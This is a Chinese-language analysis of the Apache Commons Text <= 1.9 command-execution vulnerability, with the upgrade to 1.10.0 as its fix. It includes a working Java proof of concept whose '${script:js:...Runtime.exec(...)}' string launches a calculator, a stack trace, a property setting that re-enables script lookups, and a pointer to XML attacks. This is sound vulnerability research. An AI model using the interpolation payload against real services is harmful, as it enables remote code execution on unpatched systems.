Apache commons text <= 1.9 命令执行漏洞
前言:Apache commons text <= 1.9 命令执行漏洞分析笔记
什么是Apache commons text
Apache commons text 是一个专注于处理字符串的算法的依赖库
漏洞引入
作者在近期更新了相关的Apache commons text 1.10版本
官方commit地址:https://github.com/apache/commons-text/commit/b9b40b903e2d1f9935039803c9852439576780ea
<!-- https://mvnrepository.com/artifact/org.apache.commons/commons-text -->
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-text</artifactId>
<version>1.9</version>
</dependency>
可以看到里面的示例很多,这里随便拿一条作者的测试用例来进行学习测试,如下所示,可以看到成功通过script脚本来进行运算得出结果
public class TestMain {
public static void main(String[] args) {
String replace = StringSubstitutor.createInterpolator().replace("3 + 4 = ${script:javascript:3 + 4}");
System.out.println(
replace
);
}
}
那么这里的话就会想到通过ScriptEngine来进行命令执行的操作
public class TestMain {
public static void main(String[] args) {
StringSubstitutor interpolator = StringSubstitutor.createInterpolator();
interpolator.replace("${script:js:java.lang.Runtime.getRuntime().exec(\"open -a calculator.app\")}");
}
}
可以发现成功执行计算机,如下图所示
漏洞分析
该漏洞的本质就是在 动态解析${}
格式字符串的时候,没有限制相关敏感的组件,比如如果能调用script的话,那么就能通过script来进行命令执行
StringSubstitutor interpolator = StringSubstitutor.createInterpolator();
初始化的时候,其中的return new StringSubstitutor(StringLookupFactory.INSTANCE.interpolatorStringLookup());
的interpolatorStringLookup方法中的存在script相关的敏感映射关系
StringLookupFactory.INSTANCE.interpolatorStringLookup()
生成的StringLookup对象会被作为字符串解析的时候使用,如果碰到了${}
就会进行使用配合解析,这个对象作为StringSubstitutor中的variableResolver成员
variableResolver其中就存在对应的script对象
StringSubstitutor在对字符串进行操作解析的过程获取script对象会在如下的地方进行触发
最后走入到org.apache.commons.text.lookup.ScriptStringLookup#lookup从而进行解析相关的script的代码从而导致命令执行
lookup:82, ScriptStringLookup (org.apache.commons.text.lookup)
lookup:135, InterpolatorStringLookup (org.apache.commons.text.lookup)
resolveVariable:1067, StringSubstitutor (org.apache.commons.text)
substitute:1433, StringSubstitutor (org.apache.commons.text)
substitute:1308, StringSubstitutor (org.apache.commons.text)
replace:816, StringSubstitutor (org.apache.commons.text)
main:13, TestMain (com.zpchcbd.text)
漏洞修复
<!-- https://mvnrepository.com/artifact/org.apache.commons/commons-text -->
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-text</artifactId>
<version>1.10.0</version>
</dependency>
再次进行调试的时候,相关的script已经无法看到了
若要用到script等,则需要自行设置System.setProperty
System.setProperty("org.apache.commons.text.lookup.StringLookupFactory.defaultStringLookups","SCRIPT");
攻击面扩展
虽然这边的ScriptStringLookup等无法进行使用了,但是还是可以通过XmlStringLookup来进行xml攻击,该方法来自漏洞百出,这里进行记录